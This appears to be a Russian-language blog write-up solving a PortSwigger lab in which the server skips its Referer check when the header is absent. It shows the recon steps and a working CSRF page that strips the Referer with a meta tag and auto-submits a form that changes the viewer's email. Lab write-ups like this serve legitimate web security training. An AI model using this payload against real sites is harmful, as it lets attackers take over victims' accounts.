На странице
apsyleg1 мин
#portswigger #csrf #referer #web-security

CSRF, где валидация Referer зависит от наличия заголовка

Лаборатория

CSRF where Referer validation depends on header being present · Practitioner

Решение

Дано

This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

Анализ задания

Необходимо сменить email пользователя через эксплуатацию CSRF-уязвимости. Способ доставки — через эксплоит-сервер. Лаба имеет защиту от CSRF, но и некоторый уязвимый fallback. Заголовок лабы говорит, что валидация Referer зависит от наличия этого заголовка.

Разведка

Посмотрим, как устроена функция смены email:

POST /my-account/change-email

В запросе присутствует Referer:

Referer: https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account?id=wiener

Отправим запрос в Repeater, поменяем email, установим Referer: https://ya. Ответ — 400 Invalid referer header.

Окей, попробуем вообще убрать Referer. Работает!

Осталось вспомнить, как можно выпилить Referer из запроса. Помню, точно был какой-то заголовок типа *_no_referer. Сабмит формы, наверное, не подойдёт? Или там можно настроить поведение передачи Referer? Ок, пойду полистаю доку PortSwigger.

Предложили такой вариант:

<meta name="referrer" content="never">

Реализация эксплоита

Первым делом отключим передачу Referer. Достанем форму смены email со страницы лабы, впишем свой email, добавим полный URL до сервера и сделаем сабмит формы.

<meta name="referrer" content="never">
<form class="login-form" name="change-email-form"
      action="https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account/change-email" method="POST">
  <label>Email</label>
  <input required type="email" name="email" value="hhh@p.com">
  <button class="button" type="submit">Update email</button>
</form>

<script>
  document.forms[0].submit()
</script>

Лаба решена.